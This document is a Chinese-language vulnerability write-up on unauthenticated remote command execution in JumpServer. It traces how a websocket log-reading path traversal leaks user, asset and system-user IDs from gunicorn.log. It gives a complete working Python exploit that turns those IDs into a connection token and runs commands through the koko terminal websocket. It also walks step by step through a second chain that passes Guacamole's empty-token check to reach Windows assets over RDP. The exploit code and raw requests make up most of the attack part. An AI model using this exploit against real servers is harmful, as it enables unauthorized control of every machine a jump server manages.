JumpServer < v2.6.2
JumpServer < v2.5.4
JumpServer < v2.4.5
JumpServer = v1.5.9
修改了一处代码:
Git History
增加了一处鉴权
def connect(self):
user = self.scope["user"]
if user.is_authenticated and user.is_org_admin:
self.accept()
else:
self.close()
官方修复建议。关闭以下两个接口访问
/api/v1/authentication/connection-token
/api/v1/users/connection-token/
漏洞存在的位置在于“资产管理->资产列表->测试资产可连接性/更新硬件信息”功能。
会打开一个html页面,去访问ws://172.16.20.5:8080/ws/ops/tasks/log/
发送{"task":"6b52e7af-735e-4bd3-a492-5a458c2d07e3"}
然后把资产的信息返回。
对应的代码前端模板html在:/apps/ops/templates/ops/celery_task_log.html
,后端代码在:/apps/ops/ws.py
跟一下这个请求的路由吧。
/apps/ops/urls/ws_urls.py
中定义了ws/ops/tasks/log/
的路由
urlpatterns = [
path('ws/ops/tasks/log/', ws.CeleryLogWebsocket, name='task-log-ws'),
]
然后跟CeleryLogWebsocket
走到了上面一直提到的ws.py
。在接收到发送过来的task_id
之后一路走到wait_util_log_path_exist
函数
def wait_util_log_path_exist(self, task_id):
log_path = get_celery_task_log_path(task_id)
while not self.disconnected:
if not os.path.exists(log_path):
self.send_json({'message': '.', 'task': task_id})
time.sleep(0.5)
continue
self.send_json({'message': '\r\n'})
try:
logger.debug('Task log path: {}'.format(log_path))
task_log_f = open(log_path, 'rb')
return task_log_f
except OSError:
return None
先是判断get_celery_task_log_path返回的路径是否存在,如果存在就读取。
然后跟进到get_celery_task_log_path函数:
def get_celery_task_log_path(task_id):
task_id = str(task_id)
rel_path = os.path.join(task_id[0], task_id[1], task_id + '.log')
path = os.path.join(settings.CELERY_LOG_DIR, rel_path)
os.makedirs(os.path.dirname(path), exist_ok=True)
return path
发现是直接用os.path.join
去做一个简单的拼接,所以任意路径下的.log
后缀的文件都可以读取。
有大佬提到过可以读access.log或者是auth.log,听起来不错,但是搭建起来环境就会发现jumpserver是一堆docker容器启动的,可以读log文件的那台机器上的log后缀文件如下:
root@829a1096039f:/opt/jumpserver# find / -name *.log
/opt/jumpserver/data/celery/9/d/9d27be60-2b29-4569-b694-11ccb40d0031.log
/opt/jumpserver/logs/ansible.log
/opt/jumpserver/logs/drf_exception.log
/opt/jumpserver/logs/jumpserver.log
/opt/jumpserver/logs/unexpected_exception.log
/opt/jumpserver/logs/gunicorn.log
/opt/jumpserver/logs/flower.log
/opt/jumpserver/logs/daphne.log
/opt/jumpserver/logs/celery_ansible.log
/opt/jumpserver/logs/celery_default.log
/opt/jumpserver/logs/celery_node_tree.log
/opt/jumpserver/logs/celery_check_asset_perm_expired.log
/opt/jumpserver/logs/celery_heavy_tasks.log
/opt/jumpserver/logs/beat.log
/opt/jumpserver/logs/celery.log
/var/log/apt/history.log
/var/log/apt/term.log
/var/log/alternatives.log
/var/log/dpkg.log
除了本身能产生的log之外,其他的log并没有实际利用。
经过研究,发现了以下两条攻击链,分别是koko跳板中间件->linux资产和guacamole跳板中间件->windows资产。
利用条件是配置资产之后需要登录过资产(用过),这个基本上百分百满足,因为基本上配置的资产就是用来用的。
可以读取
/opt/jumpserver/logs/gunicorn.log
使用chrome插件Websocket Test Client连接websocket
ws://172.16.20.5:8080/ws/ops/tasks/log/
发送{"task":"/opt/jumpserver/logs/gunicorn"}
然后拿到gunicorn.log的内容之后全局搜索
/api/v1/perms/asset-permissions/user/actions/
DEMO:
/api/v1/perms/asset-permissions/user/actions/?user_id=3a38b6f0-3947-401c-936b-af6ccc3d382d&asset_id=0ddec806-b5e1-43ed-947e-da992e4b4b2b&system_user_id=88f7dfab-0cba-4062-869f-990b5148bd06
对应的是连接资产的system_user_id、user_id和asset_id。分别代表着管理用户、系统用户和资产的唯一标识。
linux的资产可以全局搜索:
/api/v1/perms/asset-permissions/user/validate
DEMO:
/api/v1/perms/asset-permissions/user/validate/?action_name=connect&asset_id=fd22d77d-8469-4cee-a783-0b69d9b5eaf6&cache_policy=1&system_user_id=e5b69a74-f22e-420b-ba90-c12bd9f1ba3b&user_id=3a38b6f0-3947-401c-936b-af6ccc3d382d
代表含义同上。
然后拿到这三者可以做什么呢,回去看前面的修补建议:
关闭以下两个接口访问
/api/v1/authentication/connection-token
/api/v1/users/connection-token/
对应的路由代码在:/apps/users/urls/api_urls.py
认证的代码在:/apps/authentication/api/auth.py
class UserConnectionTokenApi(RootOrgViewMixin, APIView):
permission_classes = (IsOrgAdminOrAppUser,)
def post(self, request):
user_id = request.data.get('user', '')
asset_id = request.data.get('asset', '')
system_user_id = request.data.get('system_user', '')
token = str(uuid.uuid4())
user = get_object_or_404(User, id=user_id)
asset = get_object_or_404(Asset, id=asset_id)
system_user = get_object_or_404(SystemUser, id=system_user_id)
value = {
'user': user_id,
'username': user.username,
'asset': asset_id,
'hostname': asset.hostname,
'system_user': system_user_id,
'system_user_name': system_user.name
}
cache.set(token, value, timeout=20)
return Response({"token": token}, status=201)
def get(self, request):
token = request.query_params.get('token')
user_only = request.query_params.get('user-only', None)
value = cache.get(token, None)
if not value:
return Response('', status=404)
if not user_only:
return Response(value)
else:
return Response({'user': value['user']})
def get_permissions(self):
if self.request.query_params.get('user-only', None):
self.permission_classes = (AllowAny,)
return super().get_permissions()
可以看到把三个uuidpost发过去之后会返回一个20s超时的token。同时需要get给user-only传入一个值,不然会报not_authenticated。
import requests
import json
data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
url_host='http://192.168.1.73:8080'
def get_token():
url = url_host+'/api/v1/users/connection-token/?user-only=1'
response = requests.post(url, json=data).json()
print(response)
return response['token']
get_token()
jumpserver的架构是一个叫luna的前端在前面缝合了koko和guacamole来做一个统一的面板管理,所以说只要拿到token和各个id就可以和koko和guacamole通信,从而控制资产。
所以只要简单的去找正常登陆资产的接口即可。
以下大部分内容cv自:jumpserver远程代码执行漏洞分析 - print("")
在/koko/static/js/koko.js中找到
let wsURL = baseWsUrl + '/koko/ws/terminal/?' + urlParams.toString();
switch (urlParams.get("type")) {
case 'token':
wsURL = baseWsUrl + "/koko/ws/token/?" + urlParams.toString();
break
default:
}
ws = new WebSocket(wsURL, ["JMS-KOKO"]);
term = createTerminalById(elementId)
接口/koko/ws/terminal/?和/koko/ws/token/?
对应的后端代码https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/webserver.go
345和351行写了路由
func (s *server) websocketHandlers(router *gin.RouterGroup) {
wsGroup := router.Group("/ws/")
wsGroup.Group("/terminal").Use(
s.middleSessionAuth()).GET("/", s.processTerminalWebsocket)
wsGroup.Group("/elfinder").Use(
s.middleSessionAuth()).GET("/", s.processElfinderWebsocket)
wsGroup.Group("/token").GET("/", s.processTokenWebsocket)
}
跟进processTokenWebsocket
func (s *server) processTokenWebsocket(ctx *gin.Context) {
tokenId, _ := ctx.GetQuery("target_id")
tokenUser := service.GetTokenAsset(tokenId)
if tokenUser.UserID == "" {
logger.Errorf("Token is invalid: %s", tokenId)
ctx.AbortWithStatus(http.StatusBadRequest)
return
}
currentUser := service.GetUserDetail(tokenUser.UserID)
if currentUser == nil {
logger.Errorf("Token userID is invalid: %s", tokenUser.UserID)
ctx.AbortWithStatus(http.StatusBadRequest)
return
}
targetType := TargetTypeAsset
targetId := strings.ToLower(tokenUser.AssetID)
systemUserId := tokenUser.SystemUserID
s.runTTY(ctx, currentUser, targetType, targetId, systemUserId)
}
发现就是发了一个target_id过来,看逻辑应该就是刚刚拿到的20s的token。然后再从token里面去拿SystemUserID、AssetID、UserID从而精准的连接上资产runTTY则是连接资产的函数。
具体实现可看代码https://github.com/jumpserver/koko/blob/e054394ffd13ac7c71a4ac980340749d9548f5e1/pkg/httpd/userwebsocket.go
也就是说websocket连上
/koko/ws/token/?target_id=20s_token
就相当于连上了生成这个token的资产。
最后的exp:
# coding=utf-8
import asyncio
import websockets
import json
import requests
import re
target_url = 'http://192.168.1.73:8080'
cmd = "ifconfig"
async def get_token():
url = target_url.replace("http", "ws") + "/ws/ops/tasks/log/"
print("Request => " + url + "token")
async with websockets.connect(url, timeout=3) as websocket:
await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}')
for x in range(1000):
try:
rs = await asyncio.wait_for(websocket.recv(), timeout=3)
if '/api/v1/perms/asset-permissions/user/validate' in rs:
break
except:
print("获取不到用户信息")
exit()
pattern = re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ')
matchObj = pattern.search(rs)
if matchObj:
asset_id = matchObj.group(1)
system_user_id = matchObj.group(2)
user_id = matchObj.group(3)
data = {'asset': asset_id, 'system_user': system_user_id, 'user': user_id}
print("用户信息如下:%s"%data)
url = target_url + '/api/v1/users/connection-token/?user-only=1'
response = requests.post(url, json=data).json()
return response['token']
async def attack(url):
async with websockets.connect(url, timeout=3) as websocket:
print("Request => " + url)
rs = await websocket.recv()
print("Recv => " + rs)
id = json.loads(rs)["id"]
print("id = " + id)
init_payload = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await websocket.send(init_payload)
rs = await websocket.recv()
rs = ""
while "Last login" not in rs:
rs = await websocket.recv()
cmd_payload = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})
await websocket.send(cmd_payload)
for x in range(1000):
try:
rs = await asyncio.wait_for(websocket.recv(), timeout=3)
rs=json.loads(rs)
print("Recv => " + rs['data'])
except:
print('recv data end')
break
def exp():
token = asyncio.get_event_loop().run_until_complete(get_token())
url = target_url.replace("http", "ws") + "/koko/ws/token/?target_id=" + token
asyncio.get_event_loop().run_until_complete(attack(url))
if __name__ == '__main__':
exp()
同时也跟进一下processTerminalWebsocket发现检查了ginCtxUserKey,而ginCtxUserKey是需要csrftoken和sessionid才能set的,所以不登陆没法用这个接口。
func (s *server) checkSessionValid(ctx *gin.Context) bool {
var (
csrfToken string
sessionid string
err error
user *model.User
)
if csrfToken, err = ctx.Cookie("csrftoken"); err != nil {
logger.Errorf("Get cookie csrftoken err: %s", err)
return false
}
if sessionid, err = ctx.Cookie("sessionid"); err != nil {
logger.Errorf("Get cookie sessionid err: %s", err)
return false
}
user, err = service.CheckUserCookie(sessionid, csrfToken)
if err != nil {
logger.Errorf("Check user session err: %s", err)
return false
}
ctx.Set(ginCtxUserKey, user)
return true
}
按照koko的思路,继续开始找接口,捋清楚大致流程如下:
先访问:
POST /guacamole/api/tokens HTTP/1.1
Cookie: csrftoken=HztV0vZUYXTg69c6zpNPAHQeZX6VHDyFvm1xN6uV8BaxHEp0Mj5OrOBjkkrC8VHt; sessionid=jfgmd8ti8vqi9qk38b8smodttsm1x3kn; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146; activeTab=AssetPermissionDetail
username=3a38b6f0-3947-401c-936b-af6ccc3d382d&password=jumpserver&asset_token=
username是最开始拿到的userid,password应该是默认的密码jumpserver,这个asset_token为空就很耐人寻味,后面再细说。
返回的是:
{"authToken":"E95119057E5796A566C510678F0C6D6BA4A68F34DE32FE2FB559953DBE0899D8","username":"3a38b6f0-3947-401c-936b-af6ccc3d382d","dataSource":"jumpserver","availableDataSources":["jumpserver"]}
然后用返回的authToken加上三个id去请求:
/guacamole/api/session/ext/jumpserver/asset/add?user_id=3a38b6f0-3947-401c-936b-af6ccc3d382d&asset_id=0ddec806-b5e1-43ed-947e-da992e4b4b2b&system_user_id=88f7dfab-0cba-4062-869f-990b5148bd06&token=E95119057E5796A566C510678F0C6D6BA4A68F34DE32FE2FB559953DBE0899D8
返回的是:
{"code":200,"result":"M2UwMDJiNjYtMmFhYS00MjFlLTk5NTktNWQwYmNkZmMzNjgwAGMAanVtcHNlcnZlcg=="}
抓到的接口请求大致就是这些。
上代码:http://download.jumpserver.org/release/v2.2.0/guacamole-client-v2.2.0.tar.gz
guacamole-1.2.0.war
中的/WEB-INF/classes/org/apache/guacamole/rest/RESTServiceModule.class
中定义了/api/*
的路由,/WEB-INF/classes/org/apache/guacamole/rest/auth/TokenRESTService.class
定义了/tokens/
的路由。
然后一直走到guacamole-auth-jumpserver-1.2.0.jar
的org.apache.guacamole.auth.jumpserver.JumpserverAuthenticationProvider
的getAuthorizedConfigurations函数
private Map getAuthorizedConfigurations(Credentials credentials) {
JumpserverConfigurationService configurationService = (JumpserverConfigurationService)injector.getInstance(JumpserverConfigurationService.class);
Map configs = null;
if (configurationService.validateToken(credentials)) {
configs = new HashMap<>();
return configs;
}
if (configurationService.validateUser(credentials.getUsername(), credentials))
configs = new HashMap<>();
return configs;
}
再进validateToken的判断
public boolean validateToken(Credentials credentials) {
String assetToken = credentials.getRequest().getParameter("asset_token");
return !StringUtil.isBlank(assetToken);
}
从这里看到传入的asset_token是有用的,仅仅是检查不为空即可。
所以说只需要把随便放一个东西进去asset_token就能拿到一个authToken了(ps:其实我是先黑盒挖到的,因为我看流量的时候比较奇怪为什么那个asset_token的值为空,然后就把那个20s的token丢过去发现居然也生成了authToken,然后就下意识以为guacamole有两种认证模式,一种是判断csrftoken和sessionid,另外一种是把20s的token丢过去所以才能攻击成功,审一下代码居然是不为空就可以了。。。)。
然后再用拿到的authToken去添加一个资产,也就是上面的第二个接口。代码分析如下:
路由跟进:
同guacamole-1.2.0.war
中的/WEB-INF/classes/org/apache/guacamole/rest/RESTServiceModule.class
中定义了/api/*
的路由,跟进到WEB-INF/classe/org/apache/guacamole/rest/session/SessionRESTService.class
定义了/session
路由,跟进到WEB-INF/classe/org/apache/guacamole/rest/session/SessionResource.class
定义/ext/{dataSource}
路由,然后根据上面的请求返回可知dataSource是jumpserver,这里也对上了。
然后跨到guacamole-auth-jumpserver-1.2.0.jar
的org.apache.guacamole.auth.jumpserver.rest.RESTService
中定义了添加资产的具体代码:
@Path("/asset/add")
public Object add(@Context HttpServletRequest request, @FormParam("username") String username, @FormParam("password") String password) {
try {
AssetRequest assetRequest = getAssetRequest(request);
assetRequest.setUsername(username);
assetRequest.setPassword(password);
if (assetRequest.getUserId() == null || assetRequest.getAssetId() == null || assetRequest.getSystemUserId() == null)
return new ReturnHolder(400, "user_id);
String result = this.jumpserverConfigurationService.addAsset(assetRequest);
return new ReturnHolder(200, result);
} catch (Exception e) {
logger.error("[/asset/add], e);
return new ReturnHolder(500, e.getMessage());
}
}
进入到addAsset
public String addAsset(AssetRequest request) throws GuacamoleException {
UserContext userContext;
String userId = request.getUserId();
String assetId = request.getAssetId();
String systemUserId = request.getSystemUserId();
if (request.getToken() != null) {
userContext = UserContextMap.get(request.getToken());
} else {
userContext = UserContextMap.get(userId);
}
if (userContext == null)
throw new GuacamoleException(");
Permission permission = this.jumpserverService.getPermission(userId, assetId, systemUserId);
if (permission == null || permission.getActions() == null || permission.getActions().size() == 0) {
logger.error(");
throw new GuacamoleException(");
}
if (!permission.enableConnect()) {
logger.error("" + permission.getActions());
throw new GuacamoleException("" + permission.getActions());
}
return registerAsset(request, permission, null);
}
看到仅仅是检查传入的三个uuid和token,看上面的demo请求是已经把authToken传入了token参数的。
然后跟进到registerAsset
private String registerAsset(AssetRequest request, Permission permission, ParameterRemoteApp remoteApp) throws GuacamoleException {
...
Connection conn = getConnection(jmsConfig);
userContext.getConnectionDirectory().add((Identifiable)conn);
userContext.getRootConnectionGroup().getConnectionIdentifiers().add(conn.getIdentifier());
logger.info("" + userId + ", assetId: " + assetId + ", systemUserId: " + systemUserId);
return getBaseCode(conn.getIdentifier());
}
getBaseCode:
private String getBaseCode(String identifier) throws GuacamoleException {
try {
String type = "c";
String source = "jumpserver";
return CodingUtil.base64Encoding(identifier + "\000" + type + "\000" + source);
} catch (UnsupportedEncodingException e) {
logger.error(", e);
throw new GuacamoleException(", e);
}
}
最后返回了一个base64字符串,生成规则如上,也就是上面请求的那个返回。
然后获取拿到的base64字符串去访问/guacamole/#/client/{base64}
,即可访问到创建的rdp连接,但是又有一个问题,rdp是长连接的,guacamole有一个持续鉴权的过程,需要修改localstorage
的GUAC_AUTH
等字段,将authToken
和username
改成获取到的值,再刷新浏览器即可访问到windows资产完成rce。
比如:
GUAC_AUTH:
{"authToken":"4355CAD128C23ED68ECBD5DAC457EAB8EC0E502D5BAD7658DA770CD3CEF7A5CF","username":"3a38b6f0-3947-401c-936b-af6ccc3d382d","dataSource":"jumpserver","availableDataSources":["jumpserver"]}
user:
3a38b6f0-3947-401c-936b-af6ccc3d382d
GUAC_PREFERENCES
{"emulateAbsoluteMouse":true,"inputMethod":"none","language":"zh_CN","timezone":"Asia/Shanghai"}
GUAC_HISTORY
[[]]